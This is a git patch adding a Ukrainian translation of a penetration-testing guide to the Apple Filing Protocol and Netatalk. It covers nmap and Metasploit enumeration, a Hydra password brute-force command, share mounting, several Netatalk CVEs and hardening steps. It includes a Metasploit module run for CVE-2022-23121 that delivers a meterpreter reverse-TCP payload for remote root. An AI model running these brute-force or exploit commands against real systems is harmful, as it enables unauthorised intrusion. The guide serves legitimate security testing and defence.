From 80611396a1f14a785e45b24e9a5298ff25f05a8d Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 14 Aug 2025 03:06:58 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to --- .../584-pentesting-afp.md | 110 +++++++++++++++--- 1 file changed, 96 insertions(+), 14 deletions(-) diff --git a/src/network-services-pentesting/584-pentesting-afp.md b/src/network-services-pentesting/584-pentesting-afp.md index fea4cd98f..5f78d8c69 100644 --- a/src/network-services-pentesting/584-pentesting-afp.md +++ b/src/network-services-pentesting/584-pentesting-afp.md @@ -4,27 +4,109 @@ ## Основна інформація -**Apple Filing Protocol** (**AFP**), раніше відомий як AppleTalk Filing Protocol, є спеціалізованим мережевим протоколом, що входить до складу **Apple File Service** (**AFS**). Він призначений для надання файлових послуг для macOS та класичного Mac OS. AFP вирізняється підтримкою імен файлів у форматі Unicode, дозволів POSIX та списків контролю доступу, ресурсних forks, іменованих розширених атрибутів та складних механізмів блокування файлів. Це був основний протокол для файлових послуг у Mac OS 9 та раніших версіях. +**Apple Filing Protocol** (**AFP**), раніше відомий як AppleTalk Filing Protocol, є спеціалізованим мережевим протоколом, що входить до складу **Apple File Service** (**AFS**). Він призначений для надання файлових послуг для macOS та класичного Mac OS. AFP вирізняється підтримкою імен файлів у форматі Unicode, дозволів у стилі POSIX та ACL, ресурсних forks, іменованих розширених атрибутів та складних механізмів блокування файлів. -**Порт за замовчуванням:** 548 +Хоча AFP був замінений SMB у сучасних випусках macOS (SMB є за замовчуванням з OS X 10.9), його все ще можна зустріти в: + +* Спадкових середовищах macOS / Mac OS 9 +* NAS-пристроях (QNAP, Synology, Western Digital, TrueNAS…), які вбудовують відкритий **Netatalk** демон +* Мережах з різними ОС, де все ще увімкнено Time-Machine-over-AFP + +**Порт TCP за замовчуванням:** **548** (AFP через TCP / DSI) ```bash -PORT STATE SERVICE -548/tcp open afp +PORT STATE SERVICE +548/tcp open afp ``` -### **Перерахунок** +--- -Для перерахунку служб AFP корисні наступні команди та скрипти: +## Перерахування + +### Швидка інформація про банер / сервер ```bash -msf> use auxiliary/scanner/afp/afp_server_info -nmap -sV --script "afp-* and not dos and not brute" -p +# Metasploit auxiliary +use auxiliary/scanner/afp/afp_server_info +run RHOSTS= + +# Nmap NSE +nmap -p 548 -sV --script "afp-* and not dos" ``` -**Скрипти та їхні описи:** +Корисні скрипти AFP NSE: -- **afp-ls**: Цей скрипт використовується для переліку доступних обсягів та файлів AFP. -- **afp-path-vuln**: Він перераховує всі обсяги та файли AFP, підкреслюючи потенційні вразливості. -- **afp-serverinfo**: Це надає детальну інформацію про сервер AFP. -- **afp-showmount**: Він перераховує доступні спільні ресурси AFP разом з їхніми відповідними ACL. +| Скрипт | Що він робить | +|--------|--------------| +| **afp-ls** | Перелік доступних обсягів та файлів AFP | +| **afp-brute** | Брутфорс паролів для входу в AFP | +| **afp-serverinfo** | Виводить ім'я сервера, тип машини, версію AFP, підтримувані UAM тощо. | +| **afp-showmount** | Перелік спільних ресурсів разом з їхніми ACL | +| **afp-path-vuln** | Виявляє (і може експлуатувати) перехід по каталогах, CVE-2010-0533 | -### [**Brute Force**](../generic-hacking/brute-force.md#afp) +Скрипт брутфорсу NSE можна поєднати з Hydra/Medusa, якщо потрібен більший контроль: +```bash +hydra -L users.txt -P passwords.txt afp:// +``` +### Взаємодія з загальними ресурсами +*macOS* +```bash +# Finder → Go → "Connect to Server…" +# or from terminal +mkdir /Volumes/afp +mount_afp afp://USER:[email protected]/SHARE /Volumes/afp +``` +*Linux* (використовуючи `afpfs-ng` ‑ упакований у більшості дистрибутивів) +```bash +apt install afpfs-ng +mkdir /mnt/afp +mount_afp afp://USER:[email protected]/SHARE /mnt/afp +# or interactive client +afp_client +``` +Після монтування пам'ятайте, що класичні ресурси Mac зберігаються як приховані `._*` файли AppleDouble – вони часто містять цікаві метадані, які пропускають інструменти DFIR. + +--- + +## Загальні вразливості та експлуатація + +### Netatalk неавторизований RCE ланцюг (2022) + +Кілька постачальників NAS випустили **Netatalk ≤3.1.12**. Відсутність перевірки меж у `parse_entries()` дозволяє зловмиснику створити шкідливий заголовок **AppleDouble** і отримати **віддалений root** до аутентифікації (**CVSS 9.8 – CVE-2022-23121**). Повний звіт від NCC Group з PoC, що експлуатує Western-Digital PR4100, доступний. + +Metasploit (>= 6.3) постачає модуль `exploit/linux/netatalk/parse_entries`, який доставляє корисне навантаження через DSI `WRITE`. +```bash +use exploit/linux/netatalk/parse_entries +set RHOSTS +set TARGET 0 # Automatic (Netatalk) +set PAYLOAD linux/x64/meterpreter_reverse_tcp +run +``` +Якщо цільова система працює на вразливій прошивці QNAP/Synology, успішна експлуатація призводить до отримання оболонки як **root**. + +### Переповнення купи OpenSession Netatalk (2018) + +Стара версія Netatalk (3.0.0 - 3.1.11) вразлива до запису за межами меж у обробнику **DSI OpenSession**, що дозволяє виконання неавтентифікованого коду (**CVE-2018-1160**). Детальний аналіз та PoC були опубліковані Tenable Research. + +### Інші помітні проблеми + +* **CVE-2022-22995** – Перенаправлення символічних посилань, що призводить до запису довільних файлів / RCE, коли AppleDouble v2 увімкнено (3.1.0 - 3.1.17). +* **CVE-2010-0533** – Перехід по каталогах в Apple Mac OS X 10.6 AFP (виявлено за допомогою `afp-path-vuln.nse`). +* Було виправлено кілька помилок безпеки пам'яті в **Netatalk 4.x (2024)** – рекомендується оновлення замість патчування окремих CVE. + +--- + +## Рекомендації щодо захисту + +1. **Вимкніть AFP**, якщо це не є строго необхідним – використовуйте SMB3 або NFS замість цього. +2. Якщо AFP повинен залишитися, **оновіть Netatalk до ≥ 3.1.18 або 4.x**, або застосуйте прошивку постачальника, яка включає патчі 2022/2023/2024. +3. Вимагайте **Сильні UAM** (наприклад, *DHX2*), вимкніть логіни у відкритому тексті та гостьові логіни. +4. Обмежте TCP 548 для довірених підмереж і оберніть AFP у VPN, коли він відкритий віддалено. +5. Періодично скануйте за допомогою `nmap -p 548 --script afp-*` у CI/CD, щоб виявити зловмисні / знищені пристрої. + +--- + +### [Brute-Force](../generic-hacking/brute-force.md#afp) + +## Посилання + +* Netatalk Security Advisory CVE-2022-23121 – "Виконання довільного коду в parse_entries" +* Tenable Research – "Експлуатація 18-річної помилки (CVE-2018-1160)" {{#include ../banners/hacktricks-training.md}}